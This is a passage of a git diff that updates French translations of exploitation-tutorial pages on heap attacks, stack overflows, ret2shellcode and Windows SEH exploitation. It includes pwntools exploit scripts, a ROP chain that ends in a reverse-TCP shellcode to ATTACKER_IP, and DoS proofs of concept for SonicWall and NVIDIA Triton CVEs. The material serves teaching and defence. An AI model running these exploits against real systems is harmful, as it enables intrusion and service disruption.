utilisée. +- Donc, **2 chunks sont créés** : **chunk0** qui sera merged avec lui-même et chunk1 pour empêcher la consolidation avec le top chunk. Ensuite, la fonction **merge** est appelée avec chunk0 deux fois ce qui provoque un use after free. +- Ensuite, la fonction **`view`** est appelée avec l'index 2 (qui est l'index du chunk use after free), ce qui va **leak une adresse libc**. +- Comme le binaire a des protections qui n'autorisent que des malloc de tailles supérieures à **`global_max_fast`** donc aucun fastbin n'est utilisé, une unsorted bin attack sera utilisée pour overwriter la variable globale `global_max_fast`. +- Ensuite, il est possible d'appeler la fonction edit avec l'index 2 (le pointeur use after free) et d'overwrite le pointeur `bk` pour qu'il pointe vers `p64(global_max_fast-0x10)`. Puis, créer un nouveau chunk utilisera l'adresse freed compromise précédemment (0x20) et **déclenchera l'unsorted bin attack** écrasant `global_max_fast` avec une très grande valeur, permettant maintenant de créer des chunks dans les fast bins. +- Maintenant une **fast bin attack** est réalisée : +- Tout d'abord on découvre qu'il est possible de travailler avec des fast **chunks de taille 200** à l'emplacement de **`__free_hook`** : - 
gef➤  p &__free_hook
 $1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook>
 gef➤  x/60gx 0x7ff1e9e607a8 - 0x59
@@ -115,19 +115,19 @@ gef➤  x/60gx 0x7ff1e9e607a8 - 0x59
 0x7ff1e9e6076f :      0x0000000000000000      0x0000000000000000
 0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000      0x0000000000000000
-- If we manage to get a fast chunk of size 0x200 in this location, it'll be possible to overwrite a function pointer that will be executed -- For this, a new chunk of size `0xfc` is created and the merged function is called with that pointer twice, this way we obtain a pointer to a freed chunk of size `0xfc*2 = 0x1f8` in the fast bin. -- Then, the edit function is called in this chunk to modify the **`fd`** address of this fast bin to point to the previous **`__free_hook`** function. -- Then, a chunk with size `0x1f8` is created to retrieve from the fast bin the previous useless chunk so another chunk of size `0x1f8` is created to get a fast bin chunk in the **`__free_hook`** which is overwritten with the address of **`system`** function. -- And finally a chunk containing the string `/bin/sh\x00` is freed calling the delete function, triggering the **`__free_hook`** function which points to system with `/bin/sh\x00` as parameter. +- Si on parvient à obtenir un fast chunk de taille 0x200 à cet emplacement, il sera possible d'overwrite un pointeur de fonction qui sera exécuté. +- Pour cela, un nouveau chunk de taille `0xfc` est créé et la fonction merged est appelée avec ce pointeur deux fois, ainsi on obtient un pointeur vers un chunk freed de taille `0xfc*2 = 0x1f8` dans le fast bin. +- Ensuite, la fonction edit est appelée sur ce chunk pour modifier l'adresse **`fd`** de ce fast bin pour qu'elle pointe vers l'emplacement de **`__free_hook`**. +- Puis, un chunk de taille `0x1f8` est créé pour récupérer du fast bin le chunk précédent inutile, puis un autre chunk de taille `0x1f8` est créé pour obtenir un fast bin chunk dans **`__free_hook`** qui est overwrité avec l'adresse de la fonction **`system`**. +- Et enfin un chunk contenant la string `/bin/sh\x00` est freed en appelant la fonction delete, déclenchant **`__free_hook`** qui pointe vers system avec `/bin/sh\x00` comme paramètre. - **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html) -- Another example of abusing a 1B overflow to consolidate chunks in the unsorted bin and get a libc infoleak and then perform a fast bin attack to overwrite malloc hook with a one gadget address +- Un autre exemple d'abus d'un overflow 1B pour consolider des chunks dans l'unsorted bin et obtenir un libc infoleak puis effectuer une fast bin attack pour overwrite malloc hook avec une one gadget address - [**Robot Factory. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/) -- We can only allocate chunks of size greater than `0x100`. -- Overwrite `global_max_fast` using an Unsorted Bin attack (works 1/16 times due to ASLR, because we need to modify 12 bits, but we must modify 16 bits). -- Fast Bin attack to modify the a global array of chunks. This gives an arbitrary read/write primitive, which allows to modify the GOT and set some function to point to `system`. +- On ne peut allouer que des chunks de taille plus grande que `0x100`. +- Overwrite `global_max_fast` en utilisant une Unsorted Bin attack (fonctionne 1/16 fois à cause de l'ASLR, car il faut modifier 12 bits, mais on doit modifier 16 bits). +- Fast Bin attack pour modifier un tableau global de chunks. Cela donne un primitive arbitrary read/write, ce qui permet de modifier la GOT et de faire pointer une fonction vers `system`. -## References +## Références - Glibc malloc unsorted-bin integrity checks (example in 2.33 source): https://elixir.bootlin.com/glibc/glibc-2.33/source/malloc/malloc.c - `global_max_fast` and related definitions in modern glibc (2.39): https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c diff --git a/src/binary-exploitation/stack-overflow/README.md b/src/binary-exploitation/stack-overflow/README.md index eb9834f2f..ffd5bac11 100644 --- a/src/binary-exploitation/stack-overflow/README.md +++ b/src/binary-exploitation/stack-overflow/README.md @@ -4,15 +4,15 @@ ## Qu'est-ce qu'un Stack Overflow -Un **stack overflow** est une vulnérabilité qui se produit lorsqu'un programme écrit plus de données sur la stack que l'espace qui lui a été alloué. Cet excès de données va **écraser l'espace mémoire adjacent**, entraînant la corruption de données valides, la perturbation du flux de contrôle et potentiellement l'exécution de code malveillant. Ce problème survient souvent à cause de l'utilisation de fonctions non sûres qui ne vérifient pas les limites des entrées. +Un **stack overflow** est une vulnérabilité qui se produit lorsqu'un programme écrit plus de données dans la stack que ce qui lui a été alloué. Ces données excédentaires vont **écraser des zones mémoire adjacentes**, entraînant la corruption de données valides, la perturbation du flux de contrôle et potentiellement l'exécution de code malveillant. Ce problème survient souvent à cause de l'utilisation de fonctions non sécurisées qui ne vérifient pas les limites des données en entrée. -Le principal problème de cet écrasement est que le **pointeur d'instruction sauvegardé (EIP/RIP)** et le **pointeur de base sauvegardé (EBP/RBP)** utilisés pour revenir à la fonction précédente sont **stockés sur la stack**. Par conséquent, un attaquant pourra écraser ces valeurs et **contrôler le flux d'exécution du programme**. +Le problème principal de cet écrasement est que le **pointeur d'instruction sauvegardé (EIP/RIP)** et le **pointeur de base sauvegardé (EBP/RBP)** permettant de revenir à la fonction précédente sont **stockés sur la stack**. Par conséquent, un attaquant pourra les écraser et **contrôler le flux d'exécution du programme**. -La vulnérabilité apparaît généralement parce qu'une fonction **copie sur la stack plus d'octets que la quantité qui lui a été allouée**, pouvant ainsi écraser d'autres parties de la stack. +La vulnérabilité survient généralement parce qu'une fonction **copie dans la stack plus d'octets que la quantité qui lui a été allouée**, pouvant ainsi écraser d'autres parties de la stack. -Certaines fonctions couramment vulnérables sont : **`strcpy`, `strcat`, `sprintf`, `gets`**... De plus, des fonctions comme **`fgets`**, **`read`** et **`memcpy`** qui prennent un **argument de longueur** peuvent être utilisées de manière vulnérable si la longueur spécifiée est supérieure à celle allouée. +Quelques fonctions couramment vulnérables sont : **`strcpy`, `strcat`, `sprintf`, `gets`**... De plus, des fonctions comme **`fgets`**, **`read`** et **`memcpy`** qui prennent un **argument de longueur**, peuvent être utilisées de manière vulnérable si la longueur spécifiée est supérieure à celle allouée. -Par exemple, les fonctions suivantes pourraient être vulnérables : +Par exemple, les fonctions suivantes pourraient être vulnérables: ```c void vulnerable() { char buffer[128]; @@ -21,15 +21,15 @@ gets(buffer); // This is where the vulnerability lies printf("You entered: %s\n", buffer); } ``` -### Trouver les offsets de Stack Overflows +### Trouver les offsets de Stack Overflow -La méthode la plus courante pour détecter des Stack Overflows consiste à fournir une très grande entrée de `A`s (par ex. `python3 -c 'print("A"*1000)'`) et à observer un `Segmentation Fault` indiquant que l'**adresse `0x41414141` a été sollicitée**. +La méthode la plus courante pour détecter des Stack overflows est d'envoyer une très grande entrée de `A` (par ex. `python3 -c 'print("A"*1000)'`) et d'attendre un `Segmentation Fault` indiquant qu'on a tenté d'accéder à l'**adresse `0x41414141`**. -De plus, une fois que vous avez découvert qu'il y a une vulnérabilité de Stack Overflow, vous devrez trouver l'offset nécessaire pour pouvoir **overwrite the return address** ; pour cela on utilise généralement une **De Bruijn sequence.** Celle-ci, pour un alphabet donné de taille _k_ et des sous-séquences de longueur _n_, est une **séquence cyclique dans laquelle chaque sous-séquence possible de longueur _n_ apparaît exactement une fois** en tant que sous-séquence contiguë. +De plus, une fois que vous avez constaté qu'il existe une vulnérabilité de Stack Overflow, vous devrez trouver l'offset nécessaire pour pouvoir **écraser l'adresse de retour** ; pour cela on utilise généralement une **De Bruijn sequence.** Laquelle, pour un alphabet donné de taille _k_ et des sous-séquences de longueur _n_, est une **séquence cyclique dans laquelle chaque sous-séquence possible de longueur _n_ apparaît exactement une fois** comme sous-séquence contiguë. -De cette façon, au lieu de devoir déterminer manuellement quel offset permet de contrôler l'EIP, on peut utiliser comme padding l'une de ces séquences puis trouver l'offset des octets qui ont fini par l'écraser. +Ainsi, au lieu de devoir déterminer manuellement quel offset permet de contrôler l'EIP, il est possible d'utiliser comme padding l'une de ces séquences puis de trouver l'offset des octets qui ont fini par l'écraser. -Il est possible d'utiliser **pwntools** pour cela: +On peut utiliser **pwntools** pour cela: ```python from pwn import * @@ -48,16 +48,16 @@ pattern create 200 #Generate length 200 pattern pattern search "avaaawaa" #Search for the offset of that substring pattern search $rsp #Search the offset given the content of $rsp ``` -## Exploiter les Stack Overflows +## Exploitation des Stack Overflows -Lors d'un overflow (si la taille est suffisante) vous pourrez **écraser** les valeurs des variables locales sur la stack jusqu'à atteindre les **EBP/RBP et EIP/RIP sauvegardés (ou même davantage)**.\ -La manière la plus courante d'abuser de ce type de vulnérabilité est de **modifier l'adresse de retour** afin que, lorsque la fonction se termine, **le flux de contrôle soit redirigé vers l'endroit spécifié par ce pointeur**. +Lors d'un overflow (si la taille de l'overflow est suffisante), vous pourrez **écraser** les valeurs des variables locales sur la stack jusqu'à atteindre les **EBP/RBP et EIP/RIP sauvegardés (ou même plus)**.\ +Le moyen le plus courant d'exploiter ce type de vulnérabilité est de **modifier l'adresse de retour** afin que, lorsque la fonction se termine, le **control flow soit redirigé là où l'utilisateur l'a spécifié** dans ce pointeur. -Cependant, dans d'autres scénarios, simplement **écraser certaines valeurs de variables sur la stack** peut suffire pour l'exploitation (comme dans des challenges CTF faciles). +Cependant, dans d'autres scénarios, **écraser certaines valeurs de variables dans la stack** peut suffire pour l'exploitation (comme dans des challenges CTF faciles). ### Ret2win -Dans ce type de challenges CTF, il existe une **fonction** **à l'intérieur** du binaire qui n'est **jamais appelée** et que **vous devez appeler pour gagner**. Pour ces challenges, il suffit de trouver l'**offset pour écraser l'adresse de retour** et **l'adresse de la fonction** à appeler (généralement [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) sera désactivé) de sorte que, lorsque la fonction vulnérable retourne, la fonction cachée sera appelée : +Dans ce type de challenges CTF, il y a une **fonction** **dans** le binaire qui n'est **jamais appelée** et que **vous devez appeler pour gagner**. Pour ces challenges, il suffit de trouver l'**offset pour écraser l'adresse de retour** et **trouver l'adresse de la fonction** à appeler (généralement [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) est désactivé) de sorte que lorsque la fonction vulnérable retourne, la fonction cachée sera appelée : {{#ref}} @@ -66,7 +66,7 @@ ret2win/ ### Stack Shellcode -Dans ce scénario, l'attaquant peut placer un shellcode dans la stack et utiliser l'EIP/RIP contrôlé pour sauter vers le shellcode et exécuter du code arbitraire : +Dans ce scénario, l'attaquant peut placer un shellcode dans la stack et abuser du EIP/RIP contrôlé pour sauter vers le shellcode et exécuter du code arbitraire : {{#ref}} @@ -75,7 +75,7 @@ stack-shellcode/ ### Windows SEH-based exploitation (nSEH/SEH) -Sur Windows 32-bit, un overflow peut écraser la chaîne Structured Exception Handler (SEH) au lieu de l'adresse de retour sauvegardée. L'exploitation remplace typiquement le pointeur SEH par un gadget POP POP RET et utilise le champ nSEH de 4 octets pour un saut court afin de revenir dans le grand buffer où réside le shellcode. Un schéma courant est un petit jmp dans nSEH qui atterrit sur un near jmp de 5 octets placé juste avant nSEH pour sauter de centaines d'octets en arrière vers le début du payload. +Sur Windows 32-bit, un overflow peut écraser la chaîne Structured Exception Handler (SEH) au lieu de l'adresse de retour sauvegardée. L'exploitation remplace typiquement le pointeur SEH par un gadget POP POP RET et utilise le champ nSEH de 4 octets pour un court saut permettant de revenir dans le grand buffer où réside le shellcode. Un schéma courant est un court jmp dans nSEH qui atterrit sur un near jmp de 5 octets placé juste avant nSEH pour sauter de centaines d'octets vers le début du payload. {{#ref}} @@ -84,7 +84,7 @@ windows-seh-overflow.md ### ROP & Ret2... techniques -Cette technique est le cadre fondamental pour bypasser la principale protection de la technique précédente : **No executable stack (NX)**. Elle permet aussi d'exécuter plusieurs autres techniques (ret2lib, ret2syscall...) qui finiront par exécuter des commandes arbitraires en abusant d'instructions existantes dans le binaire : +Cette technique est le cadre fondamental pour contourner la principale protection de la technique précédente : **No executable stack (NX)**. Elle permet aussi de réaliser plusieurs autres techniques (ret2lib, ret2syscall...) qui finiront par exécuter des commandes arbitraires en abusant des instructions existantes dans le binaire : {{#ref}} @@ -93,7 +93,7 @@ Cette technique est le cadre fondamental pour bypasser la principale protection ## Heap Overflows -Un overflow ne se situe pas toujours dans la stack ; il peut aussi se trouver dans le **heap**, par exemple : +Un overflow ne se produit pas toujours dans la stack, il peut aussi se produire dans le **heap**, par exemple : {{#ref}} @@ -102,7 +102,7 @@ Un overflow ne se situe pas toujours dans la stack ; il peut aussi se trouver da ## Types de protections -Il existe plusieurs protections visant à empêcher l'exploitation des vulnérabilités, consultez-les dans : +Il existe plusieurs protections cherchant à empêcher l'exploitation des vulnérabilités, consultez-les dans : {{#ref}} @@ -111,7 +111,7 @@ Il existe plusieurs protections visant à empêcher l'exploitation des vulnérab ### Real-World Example: CVE-2025-40596 (SonicWall SMA100) -Une bonne démonstration de pourquoi **`sscanf` ne doit jamais être utilisé pour analyser des entrées non fiables** est apparue en 2025 dans l'appliance SSL-VPN SMA100 de SonicWall. +Une bonne démonstration de pourquoi **`sscanf` ne devrait jamais être considéré comme fiable pour analyser des entrées non fiables** est apparue en 2025 dans l'appliance SSL-VPN SMA100 de SonicWall. La routine vulnérable dans `/usr/src/EasyAccess/bin/httpd` tente d'extraire la version et l'endpoint de toute URI commençant par `/__api__/` : ```c char version[3]; @@ -119,25 +119,25 @@ char endpoint[0x800] = {0}; /* simplified proto-type */ sscanf(uri, "%*[^/]/%2s/%s", version, endpoint); ``` -1. La première conversion (`%2s`) stocke en toute sécurité **deux** bytes dans `version` (par ex. `"v1"`). -2. La seconde conversion (`%s`) **n'a pas de spécificateur de longueur**, donc `sscanf` continuera de copier **jusqu'au premier NUL byte**. -3. Parce que `endpoint` est situé sur la **stack** et fait **0x800 bytes**, fournir un path plus long que 0x800 bytes corrompt tout ce qui se trouve après le buffer ‑ y compris le **stack canary** et le **saved return address**. +1. La première conversion (`%2s`) stocke en toute sécurité **deux** octets dans `version` (par ex. `"v1"`). +2. La seconde conversion (`%s`) **n'a pas de spécificateur de longueur**, donc `sscanf` continuera de copier **jusqu'au premier octet NUL**. +3. Parce que `endpoint` est situé sur la **stack** et est **0x800 bytes long**, fournir un chemin plus long que 0x800 bytes corrompt tout ce qui se trouve après le buffer ‑ y compris le **stack canary** et le **saved return address**. -Une preuve de concept en une seule ligne suffit à déclencher le crash **avant l'authentification** : +Une preuve de concept d'une seule ligne suffit à déclencher le crash **avant l'authentification** : ```python import requests, warnings warnings.filterwarnings('ignore') url = "https://TARGET/__api__/v1/" + "A"*3000 requests.get(url, verify=False) ``` -Même si les stack canaries provoquent l'arrêt du processus, un attaquant obtient toujours un primitive de **Denial-of-Service** (et, avec des leak d'information supplémentaires, éventuellement code-execution). La leçon est simple : +Même si les stack canaries arrêtent le processus, un attaquant obtient toujours une primitive **Denial-of-Service** (et, avec des leaks d'information supplémentaires, éventuellement **code-execution**). La leçon est simple : -* Fournissez toujours une **largeur de champ maximale** (par ex. `%511s`). -* Préférez des alternatives plus sûres telles que `snprintf`/`strncpy_s`. +* Fournir toujours une **largeur de champ maximale** (par ex. `%511s`). +* Privilégier des alternatives plus sûres telles que `snprintf`/`strncpy_s`. -### Exemple réel : CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server) +### Real-World Example: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server) -NVIDIA’s Triton Inference Server (≤ v25.06) contenait plusieurs **stack-based overflows** accessibles via son API HTTP. +NVIDIA’s Triton Inference Server (≤ v25.06) contenait plusieurs **stack-based overflows** accessibles via son HTTP API. Le motif vulnérable apparaissait à plusieurs reprises dans `http_server.cc` et `sagemaker_server.cc` : ```c int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0); @@ -148,9 +148,9 @@ alloca(sizeof(struct evbuffer_iovec) * n); ... } ``` -1. `evbuffer_peek` (libevent) renvoie le **nombre de segments de buffer internes** qui composent le corps de la requête HTTP actuelle. +1. `evbuffer_peek` (libevent) renvoie le **nombre de segments de tampon internes** qui composent le corps de la requête HTTP courante. 2. Chaque segment provoque l'allocation d'un `evbuffer_iovec` de **16-byte** sur la **stack** via `alloca()` – **sans aucune limite supérieure**. -3. En abusant de **HTTP _chunked transfer-encoding_**, un client peut forcer la requête à être découpée en **des centaines de milliers de 6-byte chunks** (`"1\r\nA\r\n"`). Cela fait croître `n` sans limite jusqu'à épuisement de la stack. +3. En abusant de **HTTP _chunked transfer-encoding_**, un client peut forcer la requête à être découpée en **des centaines de milliers de 6-byte chunks** (`"1\r\nA\r\n"`). Cela fait que `n` croît sans limite jusqu'à épuisement de la stack. #### Preuve de concept (DoS) ```python @@ -176,10 +176,10 @@ s.close() if __name__ == "__main__": exploit(*sys.argv[1:]) ``` -Une requête d'environ ~3 Mo suffit à écraser l'adresse de retour sauvegardée et à **crash** le daemon sur une build par défaut. +Une requête d'environ 3 Mo suffit à écraser l'adresse de retour sauvegardée et à faire planter le daemon sur une build par défaut. -#### Correctif et atténuation -La version 25.07 remplace l'allocation non sécurisée sur la pile par une **heap-backed `std::vector`** et gère proprement `std::bad_alloc` : +#### Correctif & atténuation +La version 25.07 remplace l'allocation non sûre sur la pile par un **heap-backed `std::vector`** et gère gracieusement `std::bad_alloc` : ```c++ std::vector v_vec; try { @@ -191,8 +191,8 @@ struct evbuffer_iovec *v = v_vec.data(); ``` Leçons apprises : * Ne jamais appeler `alloca()` avec des tailles contrôlées par l'attaquant. -* Les requêtes chunked peuvent modifier radicalement la structure des buffers côté serveur. -* Valider / plafonner toute valeur dérivée de l'entrée client *avant* de l'utiliser dans des allocations mémoire. +* Les requêtes chunked peuvent modifier radicalement la forme des buffers côté serveur. +* Validez / limitez toute valeur dérivée de l'entrée client *avant* de l'utiliser dans des allocations mémoire. ## Références * [watchTowr Labs – Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)](https://labs.watchtowr.com/stack-overflows-heap-overflows-and-existential-dread-sonicwall-sma100-cve-2025-40596-cve-2025-40597-and-cve-2025-40598/) diff --git a/src/binary-exploitation/stack-overflow/stack-shellcode/README.md b/src/binary-exploitation/stack-overflow/stack-shellcode/README.md index b26a8ba32..4069826d7 100644 --- a/src/binary-exploitation/stack-overflow/stack-shellcode/README.md +++ b/src/binary-exploitation/stack-overflow/stack-shellcode/README.md @@ -4,11 +4,11 @@ ## Informations de base -**Stack shellcode** est une technique utilisée en **binary exploitation** où un attaquant écrit du shellcode dans la stack d'un programme vulnérable puis modifie le **Instruction Pointer (IP)** ou le **Extended Instruction Pointer (EIP)** pour pointer vers l'emplacement de ce shellcode, provoquant son exécution. C'est une méthode classique utilisée pour obtenir un accès non autorisé ou exécuter des commandes arbitraires sur un système cible. Voici une présentation du processus, incluant un exemple simple en C et comment écrire un exploit correspondant en Python avec **pwntools**. +**Stack shellcode** est une technique utilisée dans la **binary exploitation** où un attaquant écrit du shellcode sur la stack d'un programme vulnérable puis modifie le **Instruction Pointer (IP)** ou **Extended Instruction Pointer (EIP)** pour pointer vers l'emplacement de ce shellcode, provoquant son exécution. C'est une méthode classique utilisée pour obtenir un accès non autorisé ou exécuter des commandes arbitraires sur un système cible. Voici une description du processus, incluant un exemple C simple et comment écrire un exploit correspondant en Python avec **pwntools**. -### Exemple en C : un programme vulnérable +### Exemple en C : Un programme vulnérable -Commençons par un exemple simple de programme C vulnérable : +Commençons par un exemple simple d'un programme C vulnérable : ```c #include #include @@ -24,22 +24,22 @@ printf("Returned safely\n"); return 0; } ``` -Ce programme est vulnérable à un débordement de tampon en raison de l'utilisation de la fonction `gets()`. +Ce programme est vulnérable à un buffer overflow en raison de l'utilisation de la fonction `gets()`. ### Compilation -Pour compiler ce programme tout en désactivant diverses protections (pour simuler un environnement vulnérable), vous pouvez utiliser la commande suivante : +Pour compiler ce programme en désactivant diverses protections (pour simuler un environnement vulnérable), vous pouvez utiliser la commande suivante : ```sh gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c ``` -- `-fno-stack-protector`: Désactive la stack protection. -- `-z execstack`: Rend le stack exécutable, ce qui est nécessaire pour exécuter du shellcode stocké sur le stack. +- `-fno-stack-protector`: Désactive la protection de la stack. +- `-z execstack`: Rend la stack exécutable, ce qui est nécessaire pour exécuter le shellcode stocké sur la stack. - `-no-pie`: Désactive Position Independent Executable, ce qui facilite la prédiction de l'adresse mémoire où notre shellcode sera situé. -- `-m32`: Compile le programme en exécutable 32-bit, souvent utilisé pour la simplicité dans le développement d'exploits. +- `-m32`: Compile le programme en exécutable 32-bit, souvent utilisé pour simplifier l'exploit development. -### Exploit Python utilisant Pwntools +### Python Exploit using Pwntools -Voici comment vous pourriez écrire un exploit en Python en utilisant **pwntools** pour effectuer une attaque **ret2shellcode** : +Voici comment écrire un exploit en Python utilisant **pwntools** pour réaliser une attaque **ret2shellcode** : ```python from pwn import * @@ -66,26 +66,26 @@ payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide p.sendline(payload) p.interactive() ``` -Ce script construit une payload composée d'un **NOP slide**, du **shellcode**, puis écrase le **EIP** avec l'adresse pointant vers le NOP slide, garantissant l'exécution du shellcode. +Ce script construit un payload composé d'un **NOP slide**, du **shellcode**, puis écrase le **EIP** avec l'adresse pointant vers le NOP slide, garantissant que le shellcode soit exécuté. -Le **NOP slide** (`asm('nop')`) est utilisé pour augmenter les chances que l'exécution "slide" dans notre shellcode indépendamment de l'adresse exacte. Ajustez l'argument `p32()` à l'adresse de départ de votre buffer plus un offset pour atteindre le NOP slide. +Le **NOP slide** (`asm('nop')`) est utilisé pour augmenter la probabilité que l'exécution "glisse" dans notre shellcode, indépendamment de l'adresse exacte. Ajustez l'argument de `p32()` à l'adresse de départ de votre buffer plus un offset pour atterrir dans le NOP slide. -## Windows x64: Contourner NX avec VirtualAlloc ROP (ret2stack shellcode) +## Windows x64 : Contournement de NX avec VirtualAlloc ROP (ret2stack shellcode) -Sur les Windows modernes la stack est non-exécutable (DEP/NX). Une manière courante d'exécuter malgré tout du shellcode résident sur la stack après un stack BOF est de construire une ROP chain 64-bit qui appelle VirtualAlloc (ou VirtualProtect) depuis l'Import Address Table (IAT) du module afin de rendre une région de la stack exécutable, puis de retourner dans le shellcode placé après la chain. +Sur les versions récentes de Windows la stack est non-exécutable (DEP/NX). Une méthode courante pour exécuter quand même un shellcode résidant sur la stack après un stack BOF consiste à construire une ROP chain 64-bit qui appelle VirtualAlloc (ou VirtualProtect) depuis l'Import Address Table (IAT) d'un module pour rendre une région de la stack exécutable, puis retourner dans le shellcode placé juste après la chain. -Key points (Win64 calling convention): +Points clés (convention d'appel Win64) : - VirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect) -- RCX = lpAddress → choisissez une adresse dans la stack courante (par ex. RSP) afin que la région RWX nouvellement allouée chevauche votre payload -- RDX = dwSize → suffisamment grand pour votre chain + shellcode (par ex. 0x1000) +- RCX = lpAddress → choose an address in the current stack (e.g., RSP) so the newly allocated RWX region overlaps your payload +- RDX = dwSize → large enough for your chain + shellcode (e.g., 0x1000) - R8 = flAllocationType = MEM_COMMIT (0x1000) - R9 = flProtect = PAGE_EXECUTE_READWRITE (0x40) - Return directly into the shellcode placed right after the chain. -Minimal strategy: -1) Leak a module base (par ex. via un format-string, un object pointer, etc.) pour calculer les adresses absolues des gadgets et de l'IAT sous ASLR. -2) Trouvez des gadgets pour charger RCX/RDX/R8/R9 (séquences pop ou mov/xor) et un call/jmp [VirtualAlloc@IAT]. Si vous ne disposez pas de pop r8/r9 directs, utilisez des gadgets arithmétiques pour synthétiser les constantes (par ex. régler r8=0 puis ajouter répétitivement r9=0x40 quarante fois pour atteindre 0x1000). -3) Placez le stage-2 shellcode immédiatement après la chain. +Stratégie minimale : +1) Leak a module base (e.g., via a format-string, object pointer, etc.) to compute absolute gadget and IAT addresses under ASLR. +2) Find gadgets to load RCX/RDX/R8/R9 (pop or mov/xor-based sequences) and a call/jmp [VirtualAlloc@IAT]. If you lack direct pop r8/r9, use arithmetic gadgets to synthesize constants (e.g., set r8=0 and repeatedly add r9=0x40 forty times to reach 0x1000). +3) Place stage-2 shellcode immediately after the chain. Example layout (conceptual): ``` @@ -105,11 +105,11 @@ JMP_SHELLCODE_OR_RET # ---- stage-2 shellcode (x64) ---- ``` Avec un ensemble de gadgets restreint, vous pouvez construire des valeurs de registres indirectement, par exemple : -- mov r9, rbx; mov r8, 0; add rsp, 8; ret → positionne r9 à la valeur de rbx, met r8 à zéro, et compense la stack avec un junk qword. -- xor rbx, rsp; ret → charge rbx avec le stack pointer actuel. -- push rbx; pop rax; mov rcx, rax; ret → déplace la valeur dérivée de RSP dans RCX. +- mov r9, rbx; mov r8, 0; add rsp, 8; ret → définir r9 depuis rbx, mettre r8 à zéro, et compenser la pile avec un qword de remplissage. +- xor rbx, rsp; ret → initialiser rbx avec le pointeur de pile courant. +- push rbx; pop rax; mov rcx, rax; ret → placer dans RCX une valeur dérivée de RSP. -Esquisse Pwntools (étant donné une base connue et des gadgets) : +Pwntools sketch (en supposant une base connue et des gadgets) : ```python from pwn import * base = 0x7ff6693b0000 @@ -132,27 +132,27 @@ rop += p64(base+POP_RDX_RET) + p64(0x1000) rop += p64(IAT_VirtualAlloc) rop += asm(shellcraft.amd64.windows.reverse_tcp("ATTACKER_IP", ATTACKER_PORT)) ``` -Tips: +Conseils : - VirtualProtect fonctionne de façon similaire si rendre un buffer existant RX est préférable ; l'ordre des paramètres est différent. -- If the stack space is tight, allouez RWX ailleurs (RCX=NULL) et faites un jmp vers cette nouvelle région au lieu de réutiliser la stack. -- Tenez toujours compte des gadgets qui ajustent RSP (e.g., add rsp, 8; ret) en insérant des junk qwords. +- Si l'espace stack est limité, allouez RWX ailleurs (RCX=NULL) et jmp vers cette nouvelle région au lieu de réutiliser la stack. +- Tenez toujours compte des gadgets qui ajustent RSP (p.ex., add rsp, 8; ret) en insérant des junk qwords. -- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/index.html) **devrait être désactivé** pour que l'adresse soit fiable entre les exécutions ou l'adresse où la fonction sera stockée ne sera pas toujours la même et vous auriez besoin d'un leak pour déterminer où la fonction win est chargée. -- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) devraient également être désactivés sinon l'adresse de retour EIP compromise ne sera jamais atteinte. -- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **stack** protection empêcherait l'exécution du shellcode présent sur la stack parce que cette région ne serait pas exécutable. +- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/index.html) **should be disabled** pour que l'adresse soit fiable entre exécutions, sinon l'adresse où la fonction sera stockée ne sera pas toujours la même et vous auriez besoin de quelque leak pour déterminer où la win function est chargée. +- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) devraient aussi être désactivés sinon l'adresse de retour EIP compromise ne sera jamais suivie. +- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **stack** protection empêcherait l'exécution du shellcode dans la stack parce que cette région ne sera pas exécutable. ## Autres exemples & références - [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode) - [https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html) -- 64bit, ASLR avec leak d'adresse de la stack, écrire un shellcode et y sauter +- 64bit, ASLR avec leak d'adresse de stack, écrire un shellcode et sauter vers celui-ci - [https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html) -- 32 bit, ASLR avec stack leak, écrire un shellcode et y sauter +- 32 bit, ASLR avec leak de la stack, écrire un shellcode et sauter vers celui-ci - [https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html) -- 32 bit, ASLR avec stack leak, comparaison pour empêcher l'appel à exit(), écraser une variable avec une valeur, écrire un shellcode et y sauter +- 32 bit, ASLR avec leak de la stack, comparaison pour empêcher l'appel à exit(), écraser une variable avec une valeur, écrire un shellcode et sauter vers celui-ci - [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/) -- arm64, sans ASLR, gadget ROP pour rendre la stack exécutable et sauter vers le shellcode sur la stack +- arm64, pas d'ASLR, gadget ROP pour rendre la stack exécutable et sauter vers le shellcode dans la stack ## Références diff --git a/src/binary-exploitation/stack-overflow/windows-seh-overflow.md b/src/binary-exploitation/stack-overflow/windows-seh-overflow.md index d1c5541af..69001519a 100644 --- a/src/binary-exploitation/stack-overflow/windows-seh-overflow.md +++ b/src/binary-exploitation/stack-overflow/windows-seh-overflow.md @@ -2,26 +2,26 @@ {{#include 